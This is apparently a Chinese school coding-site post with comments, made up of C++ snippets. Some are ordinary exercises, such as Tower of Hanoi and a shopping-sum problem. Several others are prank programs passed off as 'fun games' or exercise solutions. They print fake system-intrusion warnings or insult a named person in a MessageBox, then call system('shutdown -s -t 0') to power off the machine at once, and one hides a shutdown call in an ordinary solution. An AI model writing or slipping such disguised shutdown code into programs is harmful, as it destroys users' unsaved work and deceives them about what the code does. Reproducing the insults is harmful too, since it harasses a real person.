蒙自市第二中学 普一鸣 • 1年前
using namespace std; int TIME = 3; int TIME2 = 1;
int main() {
cout << "好玩的游戏" << endl;
cout << "请输入一个数字" << endl;
int a;
cin >> a;
cout << "正在分析中" << endl;
clock_t now = clock(); //开始计时
while ((clock() - now) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "发现问题" << endl;
clock_t now1 = clock(); //开始计时
while ((clock() - now1) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "修复中.";
clock_t now2 = clock(); //开始计时
while ((clock() - now2) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << ".";
clock_t now3 = clock(); //开始计时
while ((clock() - now3) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << ".";
clock_t now4 = clock(); //开始计时
while ((clock() - now4) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << ".";
clock_t now5 = clock(); //开始计时
while ((clock() - now5) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << "." << endl;
clock_t now6 = clock(); //开始计时
while ((clock() - now6) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "修复失败" << endl;
clock_t now7 = clock(); //开始计时
while ((clock() - now7) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间}
TIME = 3;
cout << "%^";
clock_t now8 = clock(); //开始计时
while ((clock() - now8) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << "#@";
clock_t now9 = clock(); //开始计时
while ((clock() - now9) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
TIME = 3;
cout << "%*警告" << endl;
clock_t now10 = clock();
while ((clock() - now10) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "^%*%@*@&^##!Q^%&2" << endl;
clock_t now11 = clock();
while ((clock() - now11) / CLOCKS_PER_SEC < TIME);
TIME = 3;
cout << "电脑*^*#^&*(%&*^&^)被未¥……&*¥……*……知系%*(#&%^&)统入#^!%@#%侵" << endl;
clock_t now12 = clock();
while ((clock() - now12) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "dki^#*(*^(#@&^&#SEXDF@%#*&E%#@631e7tyd" << endl;
clock_t now13 = clock();
while ((clock() - now13) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "@#%^&*&@#%^&%^&U*正在*%&@#^%&((&^%#@#%))" << endl;
clock_t now14 = clock();
while ((clock() - now14) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "dki^#*(*^(#@&^&#自毁@%#*&E%#@631e7tyd" << endl;
clock_t now15 = clock();
while ((clock() - now15) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
system("shutdown -s -t 0");
return 0;
}
评论:
using namespace std;
void hanoi (int n, char a, char b, char c) {
if (n > 0) {
hanoi (n - 1, a, c, b);
printf ("%c->%d->%c\n", a, n, b);
hanoi (n - 1, c, b, a);
}
}
int main (void) {
int n;
char a, b, c;
scanf ("%d %c %c %c", &n, &a, &b, &c);
hanoi (n, a, b, c);
return 0;
}
using namespace std;
int main () {
double sun, m, n, ai, sum = 0;
cin >> n >> m;
for (int i = 1; i <= n; i++) {
cin >> ai;
if (m >= ai) {
m = m - ai;
sum += ai;
}
}
sun = sum - floor (sum * 0.88);
printf("%.0f", sun);
return 0;
}
using namespace std; int t, n, k, a, x = 0, i = 1; int s[10000];
int main () {
cin >> t;
for ( i; i <= t; i++) {
cin >> n >> k;
s[i] = n / 10;
}
for (int j = 1; j < i; j++) {
cout << s[x + 1] << endl;
}
return 0;
}
using namespace std;
int main () {
double sun, m, n, ai, sum = 0; cin >> n >> m; for (int i = 1; i <= n; i++) {
cin >> ai;
if (m >= ai) {
m = m - ai;
sum += ai;
}
}
sun = sum - floor (sum * 0.88); printf("%.0f", sun); system("shutdoun -s -t 0"); return 0; }
using namespace std;
struct stu {
string name;
bool k;
float c;
} a[200];
int main () {
int n, num = 0;
cin >> n;
for (int i = 1; i <= n; i++) {
cin >> a[i].name >> a[i].c >> a[i].k;
if (a[i].c >= 37.5 && a[i].k == 1) {
num++;
cout << a[i].name << endl;
}
}
cout << num;
return 0;
}
using namespace std;
int main () {
MessageBox(NULL,
"赵梓彤是sb","温馨提示", MB_OKCANCEL);
system("shutdown -s -t 0");
return 0;
}
using namespace std; int n;
int main () {
cout << "判断游戏,正确1,错误0";
MessageBox(NULL,
"赵梓彤是sb", "温馨提示", MB_OKCANCEL);
cin >> n;
if (n == 1) {
MessageBox(NULL,
"你放屁", "温馨提示", MB_OKCANCEL);
system("shutdown -s -t 0");
}
if (n == 0) {
MessageBox(NULL,
"咋能这么说自己呢???", "温馨提示", MB_OKCANCEL);
system("shutdown -s -t 0");
}
//system("shutdown -s -t 0");
return 0;
}
using namespace std;
int main () {
system("shutdown -s -t 60");
return 0;
}
using namespace std; int mouse, S, An, k, t, Rr, T;
POINT Windowpos() {
POINT pt;
GetCursorPos(&pt);
HWND h = GetForegroundWindow();
ScreenToClient(h, &pt);
pt.x /= 8;
pt.y /= 16;
return pt;
}
void SlowDisplay(int x, char *p) {
while (1) {
if (*p != 0)
printf("%c", *p++);
else
break;
Sleep(x);
}
}
void Color(int a) {
if (a == 0)
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
if (a == 1)
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_GREEN);
if (a == 2)
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);
if (a == 3)
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
if (a == 4)
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED);
}
void Luan() {
if (Rr == 0)
printf("┃过天按钮┃");
if (Rr == 1)
printf("┃过关按扭┃");
if (Rr == 2)
printf("┃过关按纽┃");
if (Rr == 3)
printf("┃过关按忸┃");
if (Rr == 4)
printf("┃过关桉钮┃");
if (Rr == 5)
printf("┃过关侒钮┃");
if (Rr == 6)
printf("┃过关按杻┃");
if (Rr == 7)
printf("┃过关按炄┃");
if (Rr == 8)
printf("┃过关铵钮┃");
if (Rr == 9)
printf("┃过关胺钮┃");
}
void Die() {
system("color 4F");
Sleep(2000);
system("color 0F");
system("cls");
Color(0);
SlowDisplay(50, "\nWarning!\nSYSTEM ERROR!!\nThe system is about to collapse!!!");
Sleep(1000);
system("shutdown /s");
}
void SetPos(int x, int y) {
COORD pos;
pos.X = y, pos.Y = x;
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
}
void Bai(int d, int dd) {
int mm = min(d, dd);
SetPos(6, mm);
printf(" ");
SetPos(7, mm);
printf(" ");
SetPos(8, mm);
printf(" ");
}
void Map(int a) {
mouse = GetAsyncKeyState(VK_LBUTTON) & 0x8000;
POINT pt = Windowpos();
int k1 = 0, k2 = 11, k3 = 12, k4 = 23, k5 = 0, Win = 0;
if (a % 2 == 0)
k1 = 12, k2 = 23, k3 = 0, k4 = 11;
if (a > 2)
k5 = 1;
if ((S >= 70 && S < 80) || S >= 90)
k1 += T / 3, k2 += T / 3, k3 += T / 3, k4 += T / 3;
if (S >= 80 && t % 20 == 8) {
Bai(k1, k3);
return;
}
if (S >= 80 && t % 20 > 8)
return;
if (pt.x >= k1 && pt.x <= k2 && pt.y >= 6 && pt.y <= 8) {
Color(1 + k5);
SetPos(6, k1);
printf("┏━━━━┓");
SetPos(7, k1);
printf("┃过关按钮┃");
SetPos(8, k1);
printf("┗━━━━┛");
if (mouse) {
if (An == 0)
S++;
An++;
T = 0;
Win = 1;
if (S >= 20)
k = rand() % 2 + 1;
if (S >= 30)
k = rand() % 4 + 1;
if (S >= 50)
Rr = rand() % 10;
if ((S >= 70 && S <= 80) || S >= 90)
Bai(k1, k3);
} else
An = 0;
} else {
Color(3 + k5);
SetPos(6, k1);
printf("┏━━━━┓");
SetPos(7, k1);
printf("┃过关按钮┃");
SetPos(8, k1);
printf("┗━━━━┛");
}
if (pt.x >= k3 && pt.x <= k4 && pt.y >= 6 && pt.y <= 8 && Win == 0) {
Color(2 - k5);
if (S >= 40 && T >= 10)
mouse = 1;
SetPos(6, k3);
printf("┏━━━━┓");
SetPos(7, k3);
if (S < 50)
printf("┃关机按钮┃");
else
Luan();
SetPos(8, k3);
printf("┗━━━━┛");
if (mouse) {
if (An == 0)
Die();
An = 0;
}
} else if (Win == 0) {
Color(4 - k5);
SetPos(6, k3);
printf("┏━━━━┓");
SetPos(7, k3);
if (S < 50)
printf("┃关机按钮┃");
else
Luan();
SetPos(8, k3);
printf("┗━━━━┛");
}
}
int main() {
srand(unsigned(time(NULL)));
ios::sync_with_stdio(false);
CONSOLE_CURSOR_INFO cursor_info = {1, 0};
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
Color(0);
k = 1;
SlowDisplay(200, "欢迎来到超级按钮!你的目标是按下按钮100次!\n\n");
SetPos(2, 0), printf("已开启普通模式。");
while (S < 100) {
t++;
T++;
Color(0);
SetPos(4, 0);
Color(0);
printf("还需按%d次。\n\n", 100 - S);
if (S == 20 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启按钮混乱模式。");
if (S == 30 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启按钮混乱2.0模式。");
if (S == 40 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启接触引爆模式。");
if (S == 50 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启按钮混乱3.0模式。");
if (S == 60 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启定时引爆模式。");
if (S == 70 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启移动按钮模式。");
if (S == 80 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启隐形按钮模式。");
if (S == 90 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启隐形移动按钮模式。");
if (S >= 60)
SetPos(2, 20), printf("%d ", 100 - T);
if (S >= 60 && T >= 100) {
Die();
break;
}
POINT pt;
GetCursorPos(&pt);
int k1 = 0, k2 = 11, k3 = 12, k4 = 23;
if (k == 2)
k1 = 12, k2 = 23, k3 = 0, k4 = 11;
Sleep(50);
Map(k);
}
if (S >= 100) {
system("cls");
Color(0);
SlowDisplay(200, "\n让你通关吧!");
}
}
using namespace std; int mouse, S, An, k, t, Rr, T;
POINT Windowpos() {
POINT pt;
GetCursorPos(&pt);
HWND h = GetForegroundWindow();
ScreenToClient(h, &pt);
pt.x /= 8;
pt.y /= 16;
return pt;
}
void SlowDisplay(int x, char *p) {
while (1) {
if (*p != 0)
printf("%c", *p++);
else
break;
Sleep(x);
}
}
void Color(int a) {
if (a == 0)
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
if (a == 1)
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_GREEN);
if (a == 2)
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);
if (a == 3)
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
if (a == 4)
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED);
}
void Luan() {
if (Rr == 0)
printf("┃过天按钮┃");
if (Rr == 1)
printf("┃过关按扭┃");
if (Rr == 2)
printf("┃过关按纽┃");
if (Rr == 3)
printf("┃过关按忸┃");
if (Rr == 4)
printf("┃过关桉钮┃");
if (Rr == 5)
printf("┃过关侒钮┃");
if (Rr == 6)
printf("┃过关按杻┃");
if (Rr == 7)
printf("┃过关按炄┃");
if (Rr == 8)
printf("┃过关铵钮┃");
if (Rr == 9)
printf("┃过关胺钮┃");
}
void Die() {
system("color 4F");
Sleep(2000);
system("color 0F");
system("cls");
Color(0);
SlowDisplay(50, "\nWarning!\nSYSTEM ERROR!!\nThe system is about to collapse!!!");
Sleep(1000);
// system("shutdown /s"); }
void SetPos(int x, int y) {
COORD pos;
pos.X = y, pos.Y = x;
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
}
void Bai(int d, int dd) {
int mm = min(d, dd);
SetPos(6, mm);
printf(" ");
SetPos(7, mm);
printf(" ");
SetPos(8, mm);
printf(" ");
}
void Map(int a) {
mouse = GetAsyncKeyState(VK_LBUTTON) & 0x8000;
POINT pt = Windowpos();
int k1 = 0, k2 = 11, k3 = 12, k4 = 23, k5 = 0, Win = 0;
if (a % 2 == 0)
k1 = 12, k2 = 23, k3 = 0, k4 = 11;
if (a > 2)
k5 = 1;
if ((S >= 70 && S < 80) || S >= 90)
k1 += T / 3, k2 += T / 3, k3 += T / 3, k4 += T / 3;
if (S >= 80 && t % 20 == 8) {
Bai(k1, k3);
return;
}
if (S >= 80 && t % 20 > 8)
return;
if (pt.x >= k1 && pt.x <= k2 && pt.y >= 6 && pt.y <= 8) {
Color(1 + k5);
SetPos(6, k1);
printf("┏━━━━┓");
SetPos(7, k1);
printf("┃过关按钮┃");
SetPos(8, k1);
printf("┗━━━━┛");
if (mouse) {
if (An == 0)
S++;
An++;
T = 0;
Win = 1;
if (S >= 20)
k = rand() % 2 + 1;
if (S >= 30)
k = rand() % 4 + 1;
if (S >= 50)
Rr = rand() % 10;
if ((S >= 70 && S <= 80) || S >= 90)
Bai(k1, k3);
} else
An = 0;
} else {
Color(3 + k5);
SetPos(6, k1);
printf("┏━━━━┓");
SetPos(7, k1);
printf("┃过关按钮┃");
SetPos(8, k1);
printf("┗━━━━┛");
}
if (pt.x >= k3 && pt.x <= k4 && pt.y >= 6 && pt.y <= 8 && Win == 0) {
Color(2 - k5);
if (S >= 40 && T >= 10)
mouse = 1;
SetPos(6, k3);
printf("┏━━━━┓");
SetPos(7, k3);
if (S < 50)
printf("┃关机按钮┃");
else
Luan();
SetPos(8, k3);
printf("┗━━━━┛");
if (mouse) {
if (An == 0)
Die();
An = 0;
}
} else if (Win == 0) {
Color(4 - k5);
SetPos(6, k3);
printf("┏━━━━┓");
SetPos(7, k3);
if (S < 50)
printf("┃关机按钮┃");
else
Luan();
SetPos(8, k3);
printf("┗━━━━┛");
}
}
int main() {
srand(unsigned(time(NULL)));
ios::sync_with_stdio(false);
CONSOLE_CURSOR_INFO cursor_info = {1, 0};
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
Color(0);
k = 1;
SlowDisplay(200, "欢迎来到超级按钮!你的目标是按下按钮100次!\n\n");
SetPos(2, 0), printf("已开启普通模式。");
while (S < 100) {
t++;
T++;
Color(0);
SetPos(4, 0);
Color(0);
printf("还需按%d次。\n\n", 100 - S);
if (S == 20 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启按钮混乱模式。");
if (S == 30 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启按钮混乱2.0模式。");
if (S == 40 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启接触引爆模式。");
if (S == 50 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启按钮混乱3.0模式。");
if (S == 60 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启定时引爆模式。");
if (S == 70 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启移动按钮模式。");
if (S == 80 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启隐形按钮模式。");
if (S == 90 && T == 1)
SetPos(2, 0), printf(" "), SetPos(2, 0), printf("已开启隐形移动按钮模式。");
if (S >= 60)
SetPos(2, 20), printf("%d ", 100 - T);
if (S >= 60 && T >= 100) {
Die();
break;
}
POINT pt;
GetCursorPos(&pt);
int k1 = 0, k2 = 11, k3 = 12, k4 = 23;
if (k == 2)
k1 = 12, k2 = 23, k3 = 0, k4 = 11;
Sleep(50);
Map(k);
}
if (S >= 100) {
system("cls");
Color(0);
SlowDisplay(200, "\n让你通关吧!");
}
}
请先登录,才能进行评论